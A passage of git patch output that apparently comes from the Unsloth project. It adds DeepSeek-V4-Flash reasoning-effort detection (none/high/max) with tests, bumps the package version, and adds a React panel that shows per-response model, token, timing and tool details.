+    "deepseek-v4", "deepseek-r1", "deepseek-v3", "deepseek-ocr",
     "glm-5", "glm-4",
     "nemotron",
     "minimax-m2.7", "minimax-m2.5", "minimax",
diff --git a/studio/backend/core/inference/defaults.py b/studio/backend/core/inference/defaults.py
index b64605e16f..a1d03c03e0 100644
--- a/studio/backend/core/inference/defaults.py
+++ b/studio/backend/core/inference/defaults.py
@@ -8,6 +8,7 @@ import utils.hardware.hardware as hw
 DEFAULT_MODELS_GGUF = [
     "unsloth/Qwen3.6-27B-MTP-GGUF",
     "unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
+    "unsloth/DeepSeek-V4-Flash-GGUF",
     "unsloth/gemma-4-E2B-it-GGUF",
     "unsloth/gemma-4-E4B-it-GGUF",
     "unsloth/gemma-4-31B-it-GGUF",
@@ -27,6 +28,7 @@ DEFAULT_MODELS_GGUF = [
 DEFAULT_MODELS_STANDARD = [
     "unsloth/Qwen3.6-27B-MTP-GGUF",
     "unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
+    "unsloth/DeepSeek-V4-Flash-GGUF",
     "unsloth/gemma-4-E2B-it-GGUF",
     "unsloth/gemma-4-E4B-it-GGUF",
     "unsloth/gemma-4-31B-it-GGUF",
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 5e6287f528..8b40f5fccd 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -686,6 +686,16 @@ def detect_reasoning_flags(
         else []
     )
     if effort_levels:
+        # DeepSeek-V4's encoder accepts reasoning_effort {'high', 'max'} but its
+        # template only branches on 'max', so the literal scan misses 'high'. Add it
+        # (matched on whole repo-name segments, so 'deepseek-v40' won't false-match)
+        # to expose the full none/high/max ladder instead of none/max.
+        segments = re.split(r"[-_.]", (model_identifier or "").lower().split("/")[-1])
+        is_dsv4 = "deepseek4" in segments or any(
+            a == "deepseek" and b == "v4" for a, b in zip(segments, segments[1:])
+        )
+        if is_dsv4 and "high" not in effort_levels:
+            effort_levels = sorted(set(effort_levels) | {"high"}, key = _REASONING_EFFORT_SCALE.index)
         # GLM-5.2-style: an enable_thinking on/off gate PLUS a reasoning_effort
         # level among a discrete set (e.g. 'high' | 'max'). Distinct from
         # gpt-oss (reasoning_effort only, no on/off gate) and Qwen
@@ -1741,9 +1751,13 @@ class LlamaCppBackend:
                 # 'low' effort the way gpt-oss does (those models genuinely
                 # cannot disable).
                 thinking_off = enable_thinking is False or reasoning_effort == "none"
-                if enable_thinking is not None or reasoning_effort == "none":
+                # A named effort level implies thinking on, so emit enable_thinking
+                # even if the caller sent only reasoning_effort (else the template
+                # defaults it off and the requested level never renders).
+                effort_on = reasoning_effort in self._reasoning_effort_levels
+                if enable_thinking is not None or reasoning_effort == "none" or effort_on:
                     kwargs["enable_thinking"] = not thinking_off
-                if not thinking_off and reasoning_effort in self._reasoning_effort_levels:
+                if not thinking_off and effort_on:
                     kwargs["reasoning_effort"] = reasoning_effort
             elif self._reasoning_style == "reasoning_effort":
                 if reasoning_effort in ("none", "low", "medium", "high"):
diff --git a/studio/backend/tests/test_deepseek_v4_thinking_effort.py b/studio/backend/tests/test_deepseek_v4_thinking_effort.py
new file mode 100644
index 0000000000..19808ad0d7
--- /dev/null
+++ b/studio/backend/tests/test_deepseek_v4_thinking_effort.py
@@ -0,0 +1,181 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""DeepSeek-V4-Flash reasoning toggle: None / High / Max.
+
+The GGUF template gates thinking with ``enable_thinking`` and only branches
+``reasoning_effort`` on ``'max'`` (an escalation layered over plain thinking).
+Detection used to return the single level ``['max']``, so the UI collapsed to
+None / Max and the plain-thinking tier was unreachable. Detection now surfaces
+``'high'`` as that plain tier, giving None / High / Max. These tests pin the
+classifier, the GLM-style parity case, and the full request-kwargs -> rendered
+prompt path for each state (the model itself is too large to load here).
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+_backend_root = Path(__file__).resolve().parent.parent
+if str(_backend_root) not in sys.path:
+    sys.path.insert(0, str(_backend_root))
+
+
+# Faithful slice of the DeepSeek-V4-Flash GGUF template: the enable_thinking
+# gate, the sole ``reasoning_effort == 'max'`` escalation, and the plain-think
+# fallback. Any non-'max' effort renders as ordinary thinking.
+DEEPSEEK_V4_TEMPLATE = """
+{%- if not thinking is defined -%}
+  {%- if enable_thinking is defined -%}
+    {%- set thinking = enable_thinking -%}
+  {%- else -%}
+    {%- set thinking = false -%}
+  {%- endif -%}
+{%- endif -%}
+{%- if not reasoning_effort is defined -%}
+  {%- set reasoning_effort = none -%}
+{%- endif -%}
+{{- bos_token -}}
+{%- if thinking and reasoning_effort == 'max' -%}
+  {{- 'Reasoning Effort: Absolute maximum with no shortcuts permitted.\\n\\n' -}}
+{%- endif -%}
+{%- for message in messages -%}
+  {{- '<|User|>' + (message['content'] or '') -}}
+{%- endfor -%}
+{%- if add_generation_prompt -%}
+  {{- '<|Assistant|>' -}}
+  {%- if thinking -%}{{- '<think>' -}}{%- else -%}{{- '</think>' -}}{%- endif -%}
+{%- endif -%}
+"""
+
+
+# GLM-5.2-style: branches on two effort literals, so 'high' already exists as
+# the sub-'max' tier and detection must leave the pair untouched.
+GLM_STYLE_TEMPLATE = """
+{%- if enable_thinking -%}
+  {%- if reasoning_effort == 'high' -%}{{- 'H' -}}
+  {%- elif reasoning_effort == 'max' -%}{{- 'M' -}}
+  {%- endif -%}
+{%- endif -%}
+"""
+
+
+# A ['max']-only template under a non-deepseek id: the synthetic 'high' is scoped
+# to deepseek-v4, so this must stay ['max'] (no phantom 'high').
+NON_DEEPSEEK_MAX_ONLY_TEMPLATE = DEEPSEEK_V4_TEMPLATE
+
+
+# A template whose sole effort literal is a sub-'max' level: the guard targets
+# only the ['max']-alone case, so a lone 'high' stays a singleton.
+HIGH_ONLY_TEMPLATE = """
+{%- if enable_thinking and reasoning_effort == 'high' -%}{{- 'H' -}}{%- endif -%}
+"""
+
+
+def _render(template: str, **kwargs) -> str:
+    jinja2 = pytest.importorskip("jinja2")
+    env = jinja2.Environment()
+    tmpl = env.from_string(template)
+    return tmpl.render(bos_token = "<BOS>", add_generation_prompt = True, **kwargs)
+
+
+# -- Classifier -------------------------------------------------------
+
+
+def test_deepseek_v4_surfaces_high_as_plain_tier():
+    """Sole 'max' escalation expands to ['high', 'max'] so None/High/Max show."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash")
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+
+
+def test_glm_style_two_level_template_unchanged():
+    """A template that already names a sub-'max' tier is left as-is."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(GLM_STYLE_TEMPLATE, "unsloth/GLM-5.2")
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+
+
+def test_synthetic_high_scoped_to_deepseek_v4():
+    """The same ['max']-only template under a non-deepseek id keeps ['max']."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(NON_DEEPSEEK_MAX_ONLY_TEMPLATE, "vendor/OtherHybrid-GGUF")
+    assert flags["reasoning_effort_levels"] == ["max"]
+
+
+def test_guard_does_not_fire_for_sub_max_singleton():
+    """The expansion targets only ['max']; a lone 'high' stays a singleton."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(HIGH_ONLY_TEMPLATE, "custom/high-only")
+    assert flags["reasoning_effort_levels"] == ["high"]
+
+
+# -- Request kwargs -> rendered prompt, for each state ----------------
+
+
+def _kwargs_for(flags: dict, enable_thinking, reasoning_effort):
+    """Drive the real backend method with a shim carrying the detected flags."""
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    shim = SimpleNamespace(
+        _supports_reasoning = flags["supports_reasoning"],
+        _reasoning_always_on = flags["reasoning_always_on"],
+        _reasoning_style = flags["reasoning_style"],
+        _reasoning_effort_levels = flags["reasoning_effort_levels"],
+        _supports_preserve_thinking = flags["supports_preserve_thinking"],
+    )
+    build = LlamaCppBackend._request_reasoning_kwargs.__get__(shim)
+    return build(enable_thinking, reasoning_effort, None) or {}
+
+
+def _flags():
+    from core.inference.llama_cpp import detect_reasoning_flags
+    return detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash")
+
+
+def test_none_state_renders_non_thinking():
+    """UI 'None' -> enable_thinking=false -> closed </think>, no preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = False, reasoning_effort = None)
+    assert kwargs == {"enable_thinking": False}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("</think>")
+    assert "Absolute maximum" not in out
+
+
+def test_high_state_renders_plain_thinking():
+    """UI 'High' -> et=true, effort=high -> open <think>, no max preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "high")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" not in out
+
+
+def test_max_state_injects_max_preamble():
+    """UI 'Max' -> et=true, effort=max -> open <think> plus the max preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "max")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "max"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" in out
+
+
+def test_high_effort_alone_enables_thinking():
+    """API caller sending only reasoning_effort='high' (no enable_thinking) still
+    gets thinking on, so the newly exposed High mode renders correctly."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = None, reasoning_effort = "high")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" not in out
diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py
index 9fd1535f22..0ed670ac01 100644
--- a/studio/backend/tests/test_safetensors_capability_advertise.py
+++ b/studio/backend/tests/test_safetensors_capability_advertise.py
@@ -48,6 +48,21 @@ reasoning_effort: {{ reasoning_effort }}
 """
 
 
+# DeepSeek-V4-Flash: an enable_thinking on/off gate PLUS a reasoning_effort
+# 'max' preamble. The shipped template only *branches* on 'max' ('high' renders
+# identically to thinking-on-without-the-preamble), so the literal scan alone
+# would surface only ['max']; the classifier adds 'high' for deepseek-v4 to
+# expose the encoder's full none/high/max ladder.
+DEEPSEEK_V4_TEMPLATE = (
+    "{%- if not thinking is defined %}"
+    "{%- if enable_thinking is defined %}{%- set thinking = enable_thinking %}"
+    "{%- else %}{%- set thinking = false %}{%- endif %}{%- endif %}\n"
+    "{%- if thinking and reasoning_effort == 'max' %}"
+    "{{- 'Reasoning Effort: Absolute maximum' }}{%- endif %}\n"
+    "{%- for message in messages %}{{- message.content }}{%- endfor %}"
+)
+
+
 PLAIN_TEMPLATE = """
 {%- for message in messages %}
   {{- message.role + ': ' + message.content + '\\n' }}
@@ -90,6 +105,29 @@ def test_detect_reasoning_flags_none_template_returns_all_false():
     assert flags["reasoning_style"] == "enable_thinking"
 
 
+def test_detect_reasoning_flags_deepseek_v4_exposes_none_high_max():
+    """DeepSeek-V4-Flash: enable_thinking gate + reasoning_effort 'max' preamble.
+    Classified as the hybrid style with the full none/high/max ladder even
+    though the template only branches on 'max'."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash-GGUF")
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+    assert flags["reasoning_always_on"] is False
+
+
+def test_detect_reasoning_flags_non_deepseek_v4_effort_only_max_not_injected():
+    """The 'high' injection is scoped to deepseek-v4: a different model whose
+    template only branches on 'max' keeps ['max'] (no phantom 'high')."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "vendor/OtherHybrid-GGUF")
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["max"]
+
+
 def test_detect_safetensors_features_passes_template_through_to_classifier():
     """Route wrapper forwards a real template to the inner classifier."""
     from routes.inference import _detect_safetensors_features

From 10d8f985a270cd4cacf2518e9e895874da201f3e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 06:19:25 -0700
Subject: [PATCH 236/306] Versioning

---
 pyproject.toml           | 6 +++---
 unsloth/models/_utils.py | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pyproject.toml b/pyproject.toml
index 844ead2454..80b3d757e3 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -73,7 +73,7 @@ triton = [
 ]
 
 huggingfacenotorch = [
-    "unsloth_zoo>=2026.6.7",
+    "unsloth_zoo>=2026.7.1",
     "wheel>=0.42.0",
     "packaging",
     "numpy",
@@ -94,7 +94,7 @@ huggingfacenotorch = [
 ]
 huggingface = [
     "unsloth[huggingfacenotorch]",
-    "unsloth_zoo>=2026.6.7",
+    "unsloth_zoo>=2026.7.1",
     "torchvision",
     "unsloth[triton]",
 ]
@@ -579,7 +579,7 @@ colab-ampere-torch220 = [
     "flash-attn>=2.6.3 ; ('linux' in sys_platform)",
 ]
 colab-new = [
-    "unsloth_zoo>=2026.6.7",
+    "unsloth_zoo>=2026.7.1",
     "packaging",
     "tyro",
     "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0",
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 1aa2c6e820..1c75f8ce66 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -12,7 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-__version__ = "2026.6.9"
+__version__ = "2026.7.1"
 
 __all__ = [
     "SUPPORTS_BFLOAT16",

From ba450b437eb34ee476df7ffb61bb25db365c7353 Mon Sep 17 00:00:00 2001
From: Etherll <61019402+Etherll@users.noreply.github.com>
Date: Tue, 7 Jul 2026 16:26:00 +0300
Subject: [PATCH 237/306] Studio: add assistant response details panel (#6842)

* Studio: add assistant response details panel

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Hide model badge by default, show on hover/focus

Wrap MessageResponseModelBadge in a span with hidden/group-hover visibility classes to reduce visual clutter. The badge now only displays when hovering or focusing on the assistant message, improving the UI presentation. Updated corresponding tests to verify the new CSS classes.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../message-response-details-sheet.tsx        | 483 ++++++++++++++++++
 .../src/components/assistant-ui/reasoning.tsx |  10 +-
 .../src/components/assistant-ui/thread.tsx    | 118 +++--
 .../src/features/chat/api/chat-adapter.ts     |  92 +++-
 studio/frontend/src/features/chat/index.ts    |   7 +-
 .../chat/stores/chat-preferences-store.ts     |   7 +
 .../src/features/settings/tabs/chat-tab.tsx   |  15 +
 .../test_chat_response_details_ui_contract.py |  93 ++++
 8 files changed, 776 insertions(+), 49 deletions(-)
 create mode 100644 studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
 create mode 100644 tests/studio/test_chat_response_details_ui_contract.py

diff --git a/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
new file mode 100644
index 0000000000..823696693a
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
@@ -0,0 +1,483 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"use client";
+
+import {
+  Sheet,
+  SheetContent,
+  SheetDescription,
+  SheetHeader,
+  SheetTitle,
+} from "@/components/ui/sheet";
+import {
+  customProviderDisplayName,
+  parseExternalModelId,
+  useChatPreferencesStore,
+  useChatRuntimeStore,
+  useExternalProvidersStore,
+} from "@/features/chat";
+import { cn } from "@/lib/utils";
+import { FileDatabaseIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useMessage, useMessageTiming } from "@assistant-ui/react";
+import type { FC, ReactNode } from "react";
+
+type ResponseDetailsMetadata = {
+  modelId?: string;
+  modelLabel?: string;
+  responseModelId?: string;
+  providerId?: string;
+  providerName?: string;
+  providerType?: string;
+  startedAt?: number;
+  finishedAt?: number;
+  durationMs?: number;
+  sessionId?: string | null;
+  cancelId?: string;
+  toolCalls?: string[];
+  tools?: Record<string, boolean | undefined>;
+};
+
+type ContextUsageMetadata = {
+  promptTokens?: number;
+  completionTokens?: number;
+  totalTokens?: number;
+  cachedTokens?: number;
+  cacheWriteTokens?: number;
+  modelId?: string;
+};
+
+type MessageCustomMetadata = {
+  responseDetails?: ResponseDetailsMetadata;
+  contextUsage?: ContextUsageMetadata;
+  serverTimings?: Record<string, unknown>;
+  reasoningDuration?: number;
+};
+
+function asNumber(value: unknown): number | undefined {
+  return typeof value === "number" && Number.isFinite(value)
+    ? value
+    : undefined;
+}
+
+function formatNumber(value: number | undefined): string | null {
+  return value == null ? null : value.toLocaleString();
+}
+
+function formatMs(value: number | undefined): string | null {
+  if (value == null) return null;
+  if (value < 1000) return `${Math.round(value)}ms`;
+  return `${(value / 1000).toFixed(2)}s`;
+}
+
+function formatRate(value: number | undefined): string | null {
+  if (value == null) return null;
+  return `${value.toFixed(1)} tok/s`;
+}
+
+function formatDate(value: Date | number | string | undefined): string | null {
+  if (value == null) return null;
+  const date = value instanceof Date ? value : new Date(value);
+  if (Number.isNaN(date.getTime())) return null;
+  return new Intl.DateTimeFormat(undefined, {
+    dateStyle: "medium",
+    timeStyle: "medium",
+  }).format(date);
+}
+
+const TOOL_CATEGORY_LABELS: Record<string, string> = {
+  search: "Search",
+  fetch: "Fetch",
+  code: "Code",
+  images: "Images",
+  mcp: "MCP",
+  docs: "Docs",
+  artifacts: "Canvas",
+};
+
+const TOOL_CALL_LABELS: Record<string, string> = {
+  web_search: "Search",
+  web_fetch: "Fetch",
+  code_execution: "Code",
+  python: "Python",
+  terminal: "Terminal",
+  image_generation: "Images",
+  search_knowledge_base: "Docs",
+  render_html: "Canvas",
+};
+
+function uniqueValues(values: string[]): string[] {
+  return Array.from(new Set(values));
+}
+
+function toolCategoryFromCall(toolName: string): string | null {
+  const normalized = toolName.toLowerCase();
+  if (normalized === "web_search") return "search";
+  if (normalized === "web_fetch") return "fetch";
+  if (
+    normalized === "code_execution" ||
+    normalized === "python" ||
+    normalized === "terminal"
+  ) {
+    return "code";
+  }
+  if (normalized === "image_generation") return "images";
+  if (normalized === "search_knowledge_base") return "docs";
+  if (normalized === "render_html") return "artifacts";
+  if (normalized.startsWith("mcp__")) return "mcp";
+  return null;
+}
+
+function formatToolCallName(toolName: string): string {
+  const normalized = toolName.toLowerCase();
+  if (TOOL_CALL_LABELS[normalized]) return TOOL_CALL_LABELS[normalized];
+  if (normalized.startsWith("mcp__")) return `MCP: ${toolName.slice(5)}`;
+  return toolName
+    .replace(/[_-]+/g, " ")
+    .replace(/\b\w/g, (letter) => letter.toUpperCase());
+}
+
+function toolCallsFromContent(content: unknown): string[] {
+  if (!Array.isArray(content)) return [];
+  return uniqueValues(
+    content
+      .map((part) =>
+        part && typeof part === "object" && "type" in part
+          ? (part as { type?: unknown; toolName?: unknown })
+          : null,
+      )
+      .filter(
+        (part): part is { type: "tool-call"; toolName: string } =>
+          part?.type === "tool-call" &&
+          typeof part.toolName === "string" &&
+          part.toolName.length > 0,
+      )
+      .map((part) => part.toolName),
+  );
+}
+
+function enabledTools(
+  tools: Record<string, boolean | undefined> | undefined,
+  toolCalls: string[],
+): string | null {
+  if (!tools && toolCalls.length === 0) return null;
+  const activeKeys = new Set<string>();
+  for (const key of Object.keys(TOOL_CATEGORY_LABELS)) {
+    if (tools?.[key] === true) activeKeys.add(key);
+  }
+  for (const toolName of toolCalls) {
+    const key = toolCategoryFromCall(toolName);
+    if (key) activeKeys.add(key);
+  }
+  const active = Object.keys(TOOL_CATEGORY_LABELS)
+    .filter((key) => activeKeys.has(key))
+    .map((key) => TOOL_CATEGORY_LABELS[key]);
+  return active.length > 0 ? active.join(", ") : "None";
+}
+
+function calledTools(toolCalls: string[]): string | null {
+  if (toolCalls.length === 0) return null;
+  return uniqueValues(toolCalls.map(formatToolCallName)).join(", ");
+}
+
+function DetailSection({
+  title,
+  children,
+}: {
+  title: string;
+  children: ReactNode;
+}) {
+  return (
+    <section className="rounded-md bg-muted/45 p-3">
+      <h3 className="mb-2 font-heading text-foreground text-sm">{title}</h3>
+      <div className="grid gap-2">{children}</div>
+    </section>
+  );
+}
+
+function DetailRow({
+  label,
+  value,
+  mono = false,
+}: {
+  label: string;
+  value: ReactNode | null | undefined;
+  mono?: boolean;
+}) {
+  if (value == null || value === "") return null;
+  return (
+    <div className="grid grid-cols-[8.5rem_minmax(0,1fr)] items-start gap-3 text-[13px]">
+      <span className="text-muted-foreground">{label}</span>
+      <span
+        className={cn(
+          "min-w-0 break-words text-right text-foreground",
+          mono && "font-mono tabular-nums",
+        )}
+      >
+        {value}
+      </span>
+    </div>
+  );
+}
+
+function useResponseModelDisplay() {
+  const message = useMessage();
+  const models = useChatRuntimeStore((s) => s.models);
+  const providers = useExternalProvidersStore((s) => s.providers);
+
+  const custom = (
+    message.metadata as Record<string, unknown> | undefined
+  )?.custom as MessageCustomMetadata | undefined;
+  const responseDetails = custom?.responseDetails;
+  const usage = custom?.contextUsage;
+  const serverTimings = custom?.serverTimings;
+
+  const recordedModelId =
+    responseDetails?.responseModelId ??
+    responseDetails?.modelId ??
+    usage?.modelId;
+  const parsedExternal = parseExternalModelId(recordedModelId);
+  const provider = parsedExternal
+    ? providers.find((candidate) => candidate.id === parsedExternal.providerId)
+    : null;
+  const modelSummary = models.find(
+    (candidate) => candidate.id === recordedModelId,
+  );
+  const modelLabel =
+    responseDetails?.modelLabel ??
+    responseDetails?.responseModelId ??
+    parsedExternal?.modelId ??
+    modelSummary?.name ??
+    recordedModelId ??
+    "Not recorded";
+  const providerLabel =
+    responseDetails?.providerName ??
+    provider?.name ??
+    (responseDetails?.providerType
+      ? customProviderDisplayName(responseDetails.providerType)
+      : parsedExternal
+        ? customProviderDisplayName(provider?.providerType)
+        : recordedModelId
+          ? "Local model"
+          : null);
+
+  return {
+    message,
+    custom,
+    responseDetails,
+    usage,
+    serverTimings,
+    modelLabel,
+    providerLabel,
+  };
+}
+
+export const MessageResponseModelBadge: FC<{ className?: string }> = ({
+  className,
+}) => {
+  const showResponseModel = useChatPreferencesStore(
+    (state) => state.showResponseModel,
+  );
+  const { modelLabel, providerLabel } = useResponseModelDisplay();
+
+  if (!showResponseModel || modelLabel === "Not recorded") {
+    return null;
+  }
+
+  return (
+    <span
+      className={cn(
+        "aui-response-model-badge inline-flex min-h-5 max-w-full items-center text-muted-foreground/80 text-xs font-medium leading-5 opacity-0 transition-opacity duration-150 group-hover/assistant-message:opacity-100 group-focus-within/assistant-message:opacity-100",
+        className,
+      )}
+      title={providerLabel ? `${modelLabel} - ${providerLabel}` : modelLabel}
+    >
+      <span className="min-w-0 truncate align-middle">{modelLabel}</span>
+    </span>
+  );
+};
+
+export const MessageResponseDetailsSheet: FC<{
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+}> = ({ open, onOpenChange }) => {
+  const timing = useMessageTiming();
+  const {
+    message,
+    responseDetails,
+    usage,
+    serverTimings,
+    modelLabel,
+    providerLabel,
+  } = useResponseModelDisplay();
+  const promptTokens =
+    usage?.promptTokens ?? asNumber(serverTimings?.prompt_n);
+  const completionTokens =
+    usage?.completionTokens ??
+    timing?.tokenCount ??
+    asNumber(serverTimings?.predicted_n);
+  const totalTokens =
+    usage?.totalTokens ??
+    (promptTokens != null && completionTokens != null
+      ? promptTokens + completionTokens
+      : undefined);
+  const totalTime =
+    responseDetails?.durationMs ?? timing?.totalStreamTime ?? undefined;
+  const summaryLabel =
+    modelLabel === "Not recorded" ? "Model not recorded" : `Used ${modelLabel}`;
+  const messageToolCalls = toolCallsFromContent(message.content);
+  const toolCalls =
+    responseDetails?.toolCalls && responseDetails.toolCalls.length > 0
+      ? responseDetails.toolCalls
+      : messageToolCalls;
+
+  return (
+    <Sheet open={open} onOpenChange={onOpenChange}>
+      <SheetContent
+        side="right"
+        className="w-[min(28rem,100vw)] p-0 sm:max-w-[28rem]"
+      >
+        <SheetHeader className="border-b p-4">
+          <SheetTitle className="flex items-center gap-2 pr-10 font-heading text-base">
+            <HugeiconsIcon
+              icon={FileDatabaseIcon}
+              strokeWidth={1.75}
+              className="size-icon text-chat-icon-fg"
+            />
+            Response details
+          </SheetTitle>
+          <SheetDescription className="sr-only">
+            Timing, model, token, and tool details for this response.
+          </SheetDescription>
+        </SheetHeader>
+
+        <div className="flex min-h-0 flex-1 flex-col gap-4 overflow-y-auto p-4">
+          <div className="min-w-0 rounded-md border border-border/70 bg-card p-3">
+            <p className="min-w-0 break-words font-heading text-foreground text-sm">
+              {summaryLabel}
+            </p>
+            {providerLabel ? (
+              <p className="mt-1 min-w-0 break-words text-muted-foreground text-xs">
+                {providerLabel}
+              </p>
+            ) : null}
+          </div>
+
+          <DetailSection title="Response">
+            <DetailRow label="Model" value={modelLabel} />
+            <DetailRow
+              label="Requested"
+              value={
+                responseDetails?.modelId &&
+                responseDetails.modelId !== responseDetails.responseModelId
+                  ? responseDetails.modelId
+                  : null
+              }
+            />
+            <DetailRow label="Provider" value={providerLabel} />
+            <DetailRow label="Message ID" value={message.id} mono={true} />
+            <DetailRow label="Created" value={formatDate(message.createdAt)} />
+            <DetailRow
+              label="Started"
+              value={formatDate(responseDetails?.startedAt)}
+            />
+            <DetailRow
+              label="Finished"
+              value={formatDate(responseDetails?.finishedAt)}
+            />
+          </DetailSection>
+
+          <DetailSection title="Tokens">
+            <DetailRow label="Prompt" value={formatNumber(promptTokens)} mono />
+            <DetailRow
+              label="Output"
+              value={formatNumber(completionTokens)}
+              mono
+            />
+            <DetailRow label="Total" value={formatNumber(totalTokens)} mono />
+            <DetailRow
+              label="Cache hits"
+              value={formatNumber(
+                usage?.cachedTokens ?? asNumber(serverTimings?.cache_n),
+              )}
+              mono
+            />
+            <DetailRow
+              label="Cache writes"
+              value={formatNumber(usage?.cacheWriteTokens)}
+              mono
+            />
+          </DetailSection>
+
+          <DetailSection title="Timing">
+            <DetailRow label="Total" value={formatMs(totalTime)} mono />
+            <DetailRow
+              label="First token"
+              value={formatMs(timing?.firstTokenTime)}
+              mono
+            />
+            <DetailRow
+              label="Prompt eval"
+              value={formatMs(asNumber(serverTimings?.prompt_ms))}
+              mono
+            />
+            <DetailRow
+              label="Generation"
+              value={formatMs(asNumber(serverTimings?.predicted_ms))}
+              mono
+            />
+            <DetailRow
+              label="Speed"
+              value={formatRate(
+                asNumber(serverTimings?.predicted_per_second) ??
+                  timing?.tokensPerSecond,
+              )}
+              mono
+            />
+            <DetailRow
+              label="Chunks"
+              value={formatNumber(timing?.totalChunks)}
+              mono
+            />
+            <DetailRow
+              label="Tool calls"
+              value={formatNumber(timing?.toolCallCount)}
+              mono
+            />
+          </DetailSection>
+
+          <DetailSection title="Tools">
+            <DetailRow
+              label="Enabled"
+              value={enabledTools(responseDetails?.tools, toolCalls)}
+            />
+            <DetailRow label="Called" value={calledTools(toolCalls)} />
+            <DetailRow
+              label="Confirmation"
+              value={
+                responseDetails?.tools?.confirmToolCalls === true
+                  ? "On"
+                  : responseDetails?.tools?.confirmToolCalls === false
+                    ? "Off"
+                    : null
+              }
+            />
+            <DetailRow
+              label="Bypass"
+              value={
+                responseDetails?.tools?.bypassPermissions === true
+                  ? "On"
+                  : responseDetails?.tools?.bypassPermissions === false
+                    ? "Off"
+                    : null
+              }
+            />
+            <DetailRow label="Session" value={responseDetails?.sessionId} mono />
+            <DetailRow label="Run ID" value={responseDetails?.cancelId} mono />
+          </DetailSection>
+        </div>
+      </SheetContent>
+    </Sheet>
+  );
+};
diff --git a/studio/frontend/src/components/assistant-ui/reasoning.tsx b/studio/frontend/src/components/assistant-ui/reasoning.tsx
index c5b53577cb..96d21d6fe7 100644
--- a/studio/frontend/src/components/assistant-ui/reasoning.tsx
+++ b/studio/frontend/src/components/assistant-ui/reasoning.tsx
@@ -6,6 +6,7 @@
 /* eslint-disable react-refresh/only-export-components */
 
 import { MarkdownText } from "@/components/assistant-ui/markdown-text";
+import { MessageResponseModelBadge } from "@/components/assistant-ui/message-response-details-sheet";
 import {
   Collapsible,
   CollapsibleContent,
@@ -390,14 +391,17 @@ const ReasoningGroupImpl: ReasoningGroupComponent = ({
